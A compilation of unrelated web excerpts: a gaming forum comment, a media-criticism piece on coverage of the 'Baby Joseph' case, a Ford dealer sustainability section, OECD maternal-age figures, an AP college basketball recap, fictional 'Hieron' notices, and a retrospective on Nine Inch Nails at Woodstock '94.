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Who watched the video about Sony's goal to be able to 'take gaming w/ you' wherever you go? To me...that's a bit much to surround yourself w/ your gaming habits. Video games are supposed to be for recreation, not real-life!!!
That said, it'd be cool if you were able to be playing a game on the PS4 and then pick it back up on your phone, tablet, etc.


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Right-Wing Media's Cognitive Dissonance Persists In "Baby Joseph" Case
The right-wing media has consistently portrayed the medical case of Canadian baby Joseph Maraachli as a fight for survival, claiming he was "rescued" from the Canadian hospital treating him, thus "sav[ing]" the child's life. In fact, Maraachli's condition is incurable -- a fact conceded even by the conservative priests who facilitated moving Maraachli to a Catholic hospital in the U.S. -- and the Canadian hospital had agreed to all of his parents' requests to discharge and transfer the child.
Right-Wing Media Falsely Claim Maraachli "Has Been Given The Chance To Live"
Doocy: "A Canadian Health Panel Wanted To End His Life" But Now He's Getting A "Second Chance." On the March 15 edition of Fox News' Fox & Friends, co-host Steve Doocy teased an upcoming segment by claiming, "A Canadian health panel wanted to end his life. But now Baby Joseph, who we've been telling you about, is getting a second chance after being whisked off to the United States." [Fox News, Fox & Friends, 03/15/11 [1]]
MacCallum: "The Terminally Ill Child Known As Baby Joseph Getting A Second Chance At Life Here In The United States." Later on Fox & Friends, guest host Martha MacCallum introduced a segment with the child's father, Moe Maraachli, by claiming, "The terminally ill child known as baby Joseph getting a second chance at life here in the United States...Joining us now are the men who saved baby Joseph's life." [Fox News, Fox & Friends, 03/15/11]
The Blaze: "A Canadian Baby Has Been Given The Chance To Live." A March 14 post on Glenn Beck's website The Blaze claimed, "A Canadian baby has been given the chance to live after a Catholic group secured his transfer to an American hospital on Monday." The post credited the group Priests for Life for flying Joseph "from Ontario, Canada to SSM Cardinal Glennon Children's Medical Center in St. Louis." [The Blaze, 03/14/11 [2]]
FoxNews.com: "'Baby Joseph' Gets Second Chance At Life In U.S." A March 14 FoxNews.com article, titled "'Baby Joseph' Gets Second Chance At Life In U.S.," claimed, "The baby who was hours from being pulled off life support at his Canadian hospital has been rescued by the national director of Priests for Life and taken to the U.S. for treatment." [FoxNews.com, 03/14/11 [3]]
But Maraachli's Condition Is Incurable, Even With Transfer To Missouri Hospital
Canadian Baby's Condition Irreversible; He Remains In A "Persistent Vegetative State." According to the Canadian news agency Postmedia News:
Joseph has been at London's Victoria Hospital since October, suffering from severe and progressively deteriorating neurological problems.
His brain is losing function and he can't breathe on his own or swallow.
After a battery of tests and various examinations, specialists in London concluded that Joseph has no prospect of recovery and is in a persistent vegetative state. [Postmedia News, 2/17/11 [4]]
Numerous Specialists Concluded That Joseph "Has No Prospect Of Recovery." According to Postmedia News:
One-year-old Joseph Maraachli has been at the Victoria Hospital in London since mid-October, suffering from a "severe and progressively deteriorating neurological state," according to medical reports.
Joseph's brain is losing function, his reflexes and responses to stimulation are abnormal, he can't breathe on his own or swallow. Over the past three months, he has been examined by various specialists, including pediatric neurologists who ordered MRIs and brain scans. The doctors have concluded that Joseph has no prospect of recovery and will only continue to deteriorate. A decision was made to remove Joseph's breathing tube, which is keeping his airway clear of fluids and secretions on which he would otherwise choke. [Postmedia News,1/28/11 [5]]
Even Groups Advocating For Transfer Admit Maraachli's Condition Is Incurable
Pavone Admits Joseph's Condition Is "Incurable." In the same interview on Fox & Friends, Father Frank Pavone, the director of Priests for Life who arranged Joseph's transfer to a Missouri hospital, told MacCallum:
PAVONE: Just because a condition may be incurable, that doesn't mean you can't do things that benefit the patient. And that was the issue here. They were saying, well, because this child is going to die anyway, we're not going to give this additional care that parents are requesting. But guess what? We're all going to die anyway. So the idea is, not that we cure something. My glasses aren't curing the blurriness of my vision -- they're giving me a benefit. And that's all the parents were saying -- we want a second opinion and we want some additional care for our son. [Fox News, Fox & Friends, 03/15/11]
Pavone Has Made Several False Or Misleading Claims About Joseph's "Rescue" And Medical Condition
Pavone Attacked Canadian Hospital For Refusing "Additional Care" That Would "Benefit The Patient." On Fox & Friends, Pavone claimed, "Just because a condition may be incurable, that doesn't mean you can't do things that benefit the patient. And that was the issue here. They were saying well, because this child is going to die anyway we are not going to give this additional care that parents are requesting." [Fox News, Fox & Friends, 03/15/11]
FACT: Doctors Opined That The Procedure Parents Requested Would "Likely Cause Much Discomfort" And "Increase The Risk Of Infection And Pneumonia." Prior to requesting their child be transferred to a hospital in the United States, Maraachli's parents sought a procedure giving Maraachli a tracheotomy and ventilation so that the child could be released from the hospital in order to return home to pass away surrounded by family. According to the Toronto Sun:
The baby's father and mother, Sana Nader, 35, wanted the same treatment for Joseph as was given to their daughter before she died, eight years ago at 18 months -- give Joseph a tracheotomy and ventilation, and allow them to take him home to die what would be a peaceful death.
But Joseph's doctors say while a tracheotomy -- an incision is made in a patient's airway, to help breathing -- may prolong the baby's life, it's futile in this case and would likely cause much discomfort. It would certainly also increase the risk of infection and pneumonia, they argue.
"The medical officials would not want this little boy to suffer," [Superior Court Justice Helen] Rady said. [Toronto Sun, 2/18/11 [6]]
Pavone Claimed Joseph "Rescue[d]" By "Covert Mission" "Under The Cover Of Darkness." In a March 14 press release on the Priests for Life website, Pavone claimed he led a "covert mission to rescue Baby Joseph" which was conducted "under cover of darkness." McCallum echoed this claim in introducing Pavone on Fox & Friends, describing Maraachil's transfer as an "overnight rescue." [Priests for Life, 3/14/11 [7]; Fox News, Fox & Friends, 3/15/11]
FACT: London Hospital Had Agreed To All The Parent's Requests To Transfer The Child
- Globe And Mail: The London Hospital Responded Promptly To The Family's Discharge Request." According to the Canadian newspaper Globe And Mail, "The family's lawyer Claudio Martini noted Sunday's transfer was not as dramatic as portrayed by Father Pavone and his Priests for Life group, who used the phrase 'under the cover of darkness.' The London hospital responded promptly to the family's discharge request, Mr. Martini said." [Globe and Mail, 03/14/11 [8]]
- London Hospital: LHSC "Is And Always Has Been Willing To Organize And Pay for A Medical Transfer" For Maraachli. In a February 28 press release, the London Hospital of Ontario noted that it "is and always has been willing to organize and pay for a medical transfer home to Windsor for Baby Joseph, accompanied by LHSC physicians and staff." The hospital further pointed out:
The transfer would not involve performing a tracheostomy, which is not a palliative procedure. It is an invasive procedure in which a device is installed in a hole cut in the throat. It is frequently indicated for patients who require a long-term breathing machine. This is not, unfortunately, the case with Baby Joseph, because he has a progressive neurodegenerative disease that is fatal. [London Health Sciences Centre, 02/28/11 [9]]
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Sustainability Report 2013/14
Our dealers are a source of strength. They are a critical part of our success and important economic contributors to their communities. They represent the face of Ford to our customers and communities and provide employment, tax support, leadership and customer service. As of year-end 2013, our 3,263 Ford and Lincoln dealers in the U.S. employed 170,000 individuals, with an annual payroll in excess of $7 billion. Worldwide, we had 11,772 Ford and Lincoln dealerships as of year-end 2013.
As part of our continuing efforts to improve the Ford retail customer experience and to create loyal advocates of our products and services, in 2013 we launched the Ford Trustmark Facility Assistance Program working collaboratively with our U.S. Ford dealers to improve dealership facilities. In addition, we continue to work with our Lincoln dealers to focus our mutual efforts on the transformational change necessary to meet the high expectations of the luxury customer, including upgrading dealership facilities and the services provided at those dealerships.
On average, U.S. Ford dealers were more profitable last year than in 2012, as higher demand for our new and freshened models increased new vehicle sales. U.S. Lincoln dealers were also more profitable on average than in 2012, with increased used vehicle, parts, service and body shop sales.
Dealer relations are a key priority for us. The Ford and Lincoln Dealer Council provides a forum for open dialogue between Dealer Council members and Ford. Through the Council process, dealers can voice their concerns, needs and ideas for working more productively as a team. Also, dealers annually identify their priorities, which are published along with Ford management responses, providing transparency to the discussions between the company and its dealers.
To ensure that communication lines remain open, Dealer Council members also participate as members of Ford's National Dealer Advisory Panels. The current Dealer Advisory Panels, and the topics they address, are as follows:
The feedback gathered through these interactions has helped us develop programs, change policies and enhance processes to improve the customer ownership experience and other significant elements of dealers' businesses.
In addition to the feedback provided through the Dealer Council and advisory panels, dealer satisfaction is measured in various ways, including the biannual survey of the National Automobile Dealers Association (NADA) as well as day-to-day interaction with our dealers. Approximately 54 percent of our Ford dealers and 52 percent of Lincoln dealers provided feedback through the summer 2013 NADA survey process. We remained consistent in many areas in this survey compared with our winter 2012 record improvements, including in our Regional Sales, Service and Parts Personnel rankings. In addition, Ford Motor Credit Company Capability rankings exceeded the industry and previous scores in nearly every category. Finally, Value of Franchise, Product Quality, Competitiveness, Policies and Procedures, and Vehicle Incentives also showed favorable results.
Diversity and inclusiveness are part of Ford's DNA, and growing a strong minority presence in our dealerships remains a key focus. At year-end 2013, Ford had 164 minority-owned dealerships, which represents 5 percent of our 3,263 U.S. Ford and Lincoln dealerships. At Ford, we continue to work with our Ford Minority Dealers Association (Ford MDA) to sustain and strengthen the current minority dealer portfolio with dedicated resources to increase profitability. Together we are directing efforts toward growing the minority ranks of dealership management and employment to better reflect the community and to facilitate a greater number of future Minority Dealer principals.
We are continuing to expand the "Go Green" Dealer Sustainability Program we launched in 2010. The goal of the "Go Green" program is simple: to collaborate with dealers to implement cost-effective ways to improve the energy efficiency of their facilities. To enter the program, dealers undergo an energy assessment to identify opportunities to reduce their overall carbon footprint and lower their energy costs.
Dealers can participate in the "Go Green" program through the Ford Electric Vehicle (EV) program. As we expand our EV offerings and certified dealer network, dealers can undergo a "Go Green" energy assessment as part of the process of becoming a certified EV dealer. Beginning in 2013, dealers can also participate through the Ford Trustmark Facility Assistance Program, which encourages and assists dealerships in upgrading their physical operations to the new "Trustmark" branded Ford facilities. Through the "Trustmark" program, dealers undergo an energy assessment as part of the approval process for obtaining renovation assistance from Ford Motor Company.
Ford established an Energy Team to manage the energy assessments, and we partnered with Harris Lighting and New England Energy Management (NEEM), Inc. – global leaders in energy consulting – to complete the actual assessments. The Ford Energy Team also reviews the dealerships plans for their new facilities.
As of the end of 2013, nearly half of our 3,263 U.S. dealers had enrolled in the "Go Green" program as part of the EV and "Trustmark" programs. Through the "Go Green" energy assessments performed, dealers realize the tremendous opportunities that exist for implementing green technology and achieving significant annual cost savings.
For more information on Ford's EV dealer certification process, please see the Electrification section.
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The figures, from the Organisation for Economic Co-operation and Development, show that the UK and Germany are tied at the top of a league table of average maternal age.
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The typical Frenchwoman has her first child at 28 and a half, while in Scandinavian countries the average age is around 28.
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...Just behind the UK and Germany are countries such as Spain and Italy. In eight countries around the world, the average age at first birth is now above 29.
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WASHINGTON (AP) With a minute to play in perhaps the biggest win in South Florida history, the star player bellowed to the Georgetown crowd: "Y'all come watch Dominique Jones play!"
When the horn sounded, Jones flexed his muscles, extolled the virtues of his school to anyone within earshot and told the school's radio crew his "heart was beating too fast" with excitement to do a postgame interview.
Give Jones some slack in the right-to-brag department. After four years as a pushover, South Florida is a Big East doormat no more.
The Bulls' 72-64 victory over the eighth-ranked Hoyas on Wednesday night gives them their first road victory over a ranked team in 18 years and pushes their record to .500 in the toughest conference in the country.
GAME REPORT: South Florida 72, Georgetown 64
"I've done been everywhere the past two years — Big East — they see us lose and they just say all kind of things," the junior guard said. "I'm not a person of revenge, but it feels good to look in those same people's faces, like, 'Hey, I'm laughing at the end of it."'
Jones scored 22 of his 29 points in the second half as the Bulls (15-7, 5-5), who had never won more than two straight Big East games before this season, now have a run of four that also includes a 70-61 win over then-No. 17 Pittsburgh on Sunday.
The Bulls have five Big East wins in a season for the first time since joining the conference in 2005. Their last road win over a ranked team came against a No. 15 Tulane team on Feb. 24, 1992, but that one pales compared to the comeback victory against a Georgetown team that had dispatched No. 10 Duke just a few days earlier.
"I'll be brutally honest — I'm really amazed with our team," South Florida coach Stan Heath said. "It's the best win in our school history, to beat an outstanding team like Georgetown. I have no idea if they were enjoying Duke or looking at Villanova, but we played really well, really hard. We became the more aggressive team in the second half."
Greg Monroe had 21 points and eight rebounds — none in the second half — before fouling out with 2:52 to play for the Hoyas (16-5, 6-4), who blew a 13-point first-half lead. Georgetown stumbled in a trap game sandwiched between the president-attended win over the Blue Devils and an upcoming Saturday showdown against the second-ranked Wildcats.
Monroe cited a lack of focus for the loss, but he said it wasn't because of the two games surrounding it.
"I don't know exactly what happened," Monroe said. "We definitely wasn't looking backward and we definitely wasn't looking forward. As a team, we have to be more focused to win games like this."
Austin Freeman scored 21 points for the Hoyas, who shot 36% in the second half — 24% worse than in the first. The Hoyas also missed half of their free throws, making only 11 of 22 for the game, and committed 14 turnovers.
"We didn't control the things we can control, being foul shots and some of those turnovers," Georgetown coach John Thompson III said in terse postgame comments.
The Bulls trailed 35-22 late in the first half and 35-26 at halftime due to 60% shooting by Georgetown, but the Hoyas went cold in the second half and Jones began to show the flair that has him averaging 35 points during the winning streak.
Jones, who recently scored a school-record 46 points against Providence, went 6 of 9 in the second half, played 39 of 40 minutes, and finished with eight rebounds and four assists for the Bulls, who shot 65% after halftime.
That was quite a change of pace from the first half, when Jones missed his first three shots before scoring on a putback more than 12 minutes into the game.
"He got off to a really slow start. I'm pulling out my hair — all the hair that I have," said Heath, who is bald. "And saying 'What play can I run?' Because if we don't get him involved, we're done — we're toast. Once he got going, boy, he was really hard to stop. Obviously we feed off of him."
Early in the second half, Jones scored seven straight points for his team with a driving layup, a steal and dunk and a three-point play. Mike Mercer (FSY) tied the game at 42 with two free throws with 12:28 to play, and Jones made a free throw following a steal to give the Bulls their first lead since 10-9.
At one point, South Florida had outscored Georgetown 30-13 in the second half and held a 56-48 lead with 6:28 to play. Here's an idea how things were going: Jones banked in a three-pointer at one end, while at the other Monroe had a free throw wiped out by a lane violation.
The Hoyas finally stopped the visitors' momentum with a jumper from Freeman and a basket and two free throws by Monroe to cut the deficit to two.
But Monroe was soon gone from the game, getting his fifth foul for contact on Jarrid Famous when Famous was trying to make a putback after catching an air ball. Georgetown never regained the lead, and South Florida had its landmark win, one that had Jones bouncing around with joy.
"He's an emotional kid. He's a great kid, too," Heath said. "It's not about him. It really is about doing something special at SF. We haven't done anything — he wants to lift the program up."
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Winter in Hieron 17: Undelivered Resignations
Please read this week's classification updates carefully.
- For the next month, it is imperative that "textile" carpets be subdivided by specific material ("wool," "hair," and "fur" are not interchangeable.)
- The ban on the classification of actors has been lifted, and new categories have been established. Use "living," for traditionally sentient lives, "breathing" for those who retain material form despite mortal wounds, and "being" for those who have lost bodies but not selves. The "dead" remain dead, and the prohibition remains in place.
- As part of the ongoing process of reclassifying plants by reproductive traits instead of by appearance, "lion's tooth" flowers are now classed primarily as "Wind Blossoms."
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This week on Seasons of Hieron: Undelivered Resignations
You are the one who needs to read carefully,
Convincing those to give us what the Archive demands is subtle work. Yes, I wield intimidation, I carry violence. But those are built on a foundation of a cloud-like trust, blowing and breaking with the wind.
You want me to call dandelions "wind blossoms" and chairs "seats"? Fine. You want me to recover only the greyest couches and the most broken clockwork? Absolutely. I break arms as easily as I break promises, and promises as easily as brittle branches under my boots as I walk the world for the Archives.
But when you start to classify people, Fer, the trust is broken, and those brittle branches? They bloom.
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Manhattan's Museum of Modern Art, which was probably the chief critical influence in developing the great outpouring of American abstractionism of the last 15 years, this week puts on a significant show of new U.S. figure painting. The mere fact of the show certainly means that abstraction is going to have to move over and make room for a new kind of U.S. representationalism. Yet much of the excitement of the figure paintings traces back to abstraction. The paintings come from artists who learned color, brushwork, emotionalism and intuition through abstractionor, conversely, from...
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While the vehicle made its descent down a mountain in Ethiopia, President Steve Timmermans, Ph.D., and his son, returning from a visit to St. Mary's Church, began a discussion about faith.
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21 Years Ago: Nine Inch Nails Play Woodstock '94
When the Who tore it up at the original Woodstock in 1969, Pete Townshend's open contempt for the peace and love sentiment prevailing at the time was palpable in the explosiveness of the band's performance. Twenty-five years later, Nine Inch Nails leader Trent Reznor would make no bones about his disdain and mistrust for the corporate presence behind the 1994 reboot of the Woodstock brand. As he admitted to Rolling Stone before the show, and to MTV immediately afterwards, Reznor only agreed to perform at the festival because the fee the band was paid would be enough to subsidize the overhead costs for the remainder of its touring schedule.
The NIN live production, he explained further on the Canadian talk show Q in 2013, had already grown to such a scale that touring was a money-losing proposition. Seizing on an opportunity to reap a large sum of money in one shot, Reznor, none-too-sold on what seemed to him like a "corny" event contrived by Pepsi, hoped that the performance would "fly under the radar" and that the band would slip by unscathed by any potential damage to its reputation. Of course, as we now know, history took a different turn. Reznor had, in fact, drastically underestimated the impact that Woodstock would have on the band's visibility.
Instead of flying under the radar, Nine Inch Nails' Woodstock appearance seared itself into the public's consciousness almost instantaneously. This was, perhaps, the case thanks in part to the image — broadcast live on pay-per-view into millions of homes — of the band performing while covered head-to-toe in mud, a dramatic visual that still retains its power today. Not unlike 1969, heavy rains had turned the Woodstock '94 grounds more or less into one giant mud bath. And when NIN took the North Stage on the second night with the stuff caked onto their faces and bodies, they resembled demonic shadow figures — perfectly fitting for the malevolent tone of the music they were about to unleash on the crowd.
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As it turns out, the mud element resulted from a happy accident. In line with the roughhousing buffoonery that Reznor encouraged in the band at the time, then-NIN live bassist Danny Lohner pushed him into the mud just before the band was set to go on. Reznor retaliated, and soon the other members — guitarist Robin Finck, drummer Chris Vrenna, and keyboardist James Woolley — entered the fray. Meanwhile, as if the organizers had wanted to make a statement about just how much times had changed since the hippie idealism of the '60s, one can only imagine the jarring contrast the audience experienced in the transition from Crosby, Stills & Nash — '60s icons who famously appeared at the original Woodstock — to NIN's unbridled, openly violent brand of negativity, misanthropy, and self-hate.
At the start of the official pay-per-view broadcast footage of the show, which you can watch in full above, an atmosphere of malignant dread overtakes the proceedings when the band's four-minute intro segment begins to emanate from the PA speakers — an ominous, wheezing drone that swells into a melange of churchbells, sickening horror movie-esque textures, noise samples, fragmented screams, and an elongated version of the central guitar riff from "Pinion" off NIN's 1992 EP Broken. The stage becomes engulfed in fog, the "Pinion" riff begins to slow down, sounding more and more mechanized, insistent and menacing. The moment builds to an exquisitely drawn-out climax. (More bands should build anticipation to a fever pitch like this, and Reznor really needs to release this extended version of "Pinion" someday.) And then, on cue, the five silhouetted figures emerge from the fog, and Reznor himself uncoils his body in a way that resembles the inhuman physicality of the monster from the Alien series before they launch into "Terrible Lie."
"Nine Inch Nails looked like demonic shadow figures — perfectly fitting for the malevolent tone of the music they were about to unleash on the crowd."
In the MTV interview that followed, Reznor and Lohner admit that they thought the band played terribly, and Reznor also admits that he came around to enjoying the atmosphere of the event. In the Q interview, he looks back on Woodstock and recognizes that, somehow, all the variables fell into place for that performance to resonate as a hallmark of its moment in time. "I knew onstage," he says in the interview, "that it was one of those important moments you couldn't replicate or plan for. It just felt like we were at the right place at the right time."
Watching the footage — which actually exposes the flaws in NIN's over-reliance on sequencing, staged anger, and (at times) mime-style fakery — it's impossible to pin down why a moment such as this embeds itself in the cultural lexicon, but it's also impossible to deny that it's happening, that an iconic moment is unfolding right before your very eyes. On the other hand, the band nearly upstaged itself with its own pre-recorded intro. And in contrast to the instrumental skill level on display in the most recent NIN touring production, the 1994 live band look like a bunch of instrument-bashing primates. Unfortunately, Reznor continues to instruct his live musicians to pantomime parts they're not actually playing sometimes, but even still the recent NIN live show clearly demands jaw-dropping musical proficiency from its players.
Of course, aspects of the Woodstock performance cut through its over-the-top showbiz theatrics. The anguish — but, even moreso, the vulnerability — in Reznor's voice rings true. As does Robin Finck's ability to translate some of the non-tonal, industrial-style noise from NIN recordings into inventive guitar parts that he actually plays for real. (Finck has been a mainstay of recent NIN live lineups as well.) Watching Nine Inch Nails at Woodstock is also revealing because it captures the band right in the thick of its rocket-like rise to multi-platinum, household-name status.
When asked in the Q interview how he handled success, a clean, sober, married (and, presumably, more grounded) Reznor answers "poorly" and chuckles. In a moment during NIN's Woodstock rendition of the tortured-sex anthem "Closer," Reznor looks out at the crowd and sings "you can have my isolation / you can have the hate that it brings / you can have my absence of faith / you can have my everything." Watching him contort his frame during that verse, it's almost as if he's pleading with his growing audience, and there is a sense of watching a person being swallowed by the realization that he's given everything he has and has nothing left to bare of himself.
Now, with the benefit of hindsight, it's a wonder that Reznor not only survived, but that he has continued to push himself and strive for the uncompromising artistry of his own idols, towering figures with extensive catalogs such as David Bowie and Brian Eno. His Woodstock '94 appearance reinforces how far Reznor has come on that journey, and that Nine Inch Nails have left a profound legacy that extends far beyond a Kodak moment where the band was covered in mud on a night they knocked their gear around between Crosby, Stills & Nash and Metallica.
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